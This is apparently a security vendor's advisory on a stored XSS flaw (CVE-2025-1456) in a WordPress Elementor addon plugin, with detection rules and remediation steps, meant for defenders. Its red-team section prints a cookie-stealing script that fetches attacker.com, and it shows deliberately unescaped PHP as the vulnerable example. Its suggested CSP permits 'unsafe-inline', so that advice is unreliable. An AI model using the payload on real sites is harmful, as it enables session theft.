CVE-2025-1456

Executive Summary

CVE-2025-1456 is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Elementor Addons and Templates plugin for WordPress, affecting all versions up to and including 1.7.1012. The flaw resides in the widgetGrid, widgetCountDown, and widgetInstagramFeed methods, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page, leading to potential session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with a low attack complexity and no user interaction required for exploitation. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and consider disabling the plugin until a patched version is released. The plugin is not part of an NPM, PyPI, Go, or Ruby ecosystem, but it is a critical component of the WordPress supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Contributor-level access or higher.
• User Interaction (UI): None – No victim interaction is needed for the initial injection.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for widespread exploitation in WordPress environments is significant due to the plugin’s popularity and the low privileges required.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the Royal Elementor Addons and Templates plugin. The plugin provides custom Elementor widgets, including widgetGrid, widgetCountDown, and widgetInstagramFeed. These widgets accept user-supplied data (e.g., titles, descriptions, or configuration parameters) that are not properly sanitized or escaped before being stored in the WordPress database and later rendered on the frontend.

Root Cause: The plugin uses PHP functions like sanitize_text_field() or esc_html() inconsistently, or fails to apply them to certain input fields. Specifically, the widgetGrid, widgetCountDown, and widgetInstagramFeed methods process user input without adequate filtering, allowing attackers to inject malicious JavaScript payloads.

Attack Flow:

1. An authenticated user with Contributor-level access (or higher) creates or edits a page/post using the vulnerable Elementor widgets.
2. The attacker injects a malicious script (e.g., <script>alert('XSS')</script>) into a widget field (e.g., a grid item title or countdown label).
3. The plugin stores the payload in the WordPress database without proper escaping.
4. When any user (including administrators) visits the page, the script executes in their browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Impact: Successful exploitation can lead to:

• Session hijacking and account takeover.
• Defacement of the WordPress site.
• Redirection to malicious sites.
• Theft of sensitive data (e.g., login credentials, personal information).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Example from widgetGrid method):

public function widgetGrid($atts) {
    $title = $atts['title'];
    // No sanitization or escaping
    echo '<div class="grid-item">' . $title . '</div>';
}

Patched Code (Hypothetical):

public function widgetGrid($atts) {
    $title = isset($atts['title']) ? esc_html($atts['title']) : '';
    echo '<div class="grid-item">' . $title . '</div>';
}

Key Differences:

• The patched version uses esc_html() to escape HTML entities, preventing script injection.
• Input validation (e.g., isset()) is added to avoid undefined index warnings.
• Additional context-specific escaping (e.g., esc_attr() for attributes) should be applied where necessary.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with the Royal Elementor Addons and Templates plugin (version <= 1.7.1012) installed and activated.
• An authenticated user account with Contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new page or post using the Elementor editor.
3. Add a vulnerable widget (e.g., Grid, Countdown, or Instagram Feed).
4. In a text field (e.g., grid item title), inject the following payload:

   <script>alert(document.cookie)</script>
   

5. Save and publish the page.
6. When an administrator or any other user visits the page, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Note: No public exploit code is available from Exploit-DB or other sources. The above is a generic demonstration.

Blue Team (Detection & Mitigation)

Detection:

• Monitor for unusual JavaScript code in page content, especially in Elementor widget fields.
• Use Web Application Firewall (WAF) rules to block common XSS patterns (e.g., <script>, onerror=, javascript:).
• Review WordPress database entries for suspicious HTML/JavaScript in wp_postmeta or wp_posts tables.

Mitigation:

• Immediately disable the Royal Elementor Addons and Templates plugin until a patch is released.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
  

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

• File System: Modified plugin files (e.g., wp-content/plugins/royal-elementor-addons/). Check for unexpected changes in PHP files.
• Database: Suspicious entries in wp_postmeta or wp_posts containing JavaScript payloads (e.g., <script>, onerror=, eval().
• Network: Outbound connections to attacker-controlled domains (e.g., attacker.com) from the WordPress server.
• Logs: Web server logs showing requests to pages with injected scripts, or unusual POST requests to /wp-admin/admin-ajax.php with Elementor widget data.

Detection Engineering

YARA Rule

rule CVE_2025_1456_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Royal Elementor Addons plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1456"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-1456 Stored XSS in Royal Elementor Addons
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in WordPress posts/pages via Royal Elementor Addons
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http_method: 'GET'
        uri_path|contains: '/wp-content/plugins/royal-elementor-addons/'
        response_body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Elementor widgets (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1456 Stored XSS in Royal Elementor Addons"; flow:to_server,established; content:"/wp-content/plugins/royal-elementor-addons/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and uninstall the Royal Elementor Addons and Templates plugin until a patched version is released.
2. Restrict user roles: Limit Contributor-level access to only trusted users. Consider using a role editor plugin to remove the ability to use Elementor widgets for low-privilege users.
3. Apply virtual patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block XSS payloads targeting the vulnerable plugin.

Long-term Fix:

• Monitor the plugin’s official page for updates. Once a patched version (e.g., 1.7.1013 or higher) is released, update immediately.
• Implement a Content Security Policy (CSP) to reduce the impact of XSS.
• Regularly audit WordPress plugins and themes for vulnerabilities.

Workaround:

• If the plugin cannot be disabled, manually edit the plugin files to add input sanitization (e.g., esc_html()) in the vulnerable methods. However, this is not recommended as it may break functionality and will be overwritten on update.

Valters IT
Securing Digital Frontiers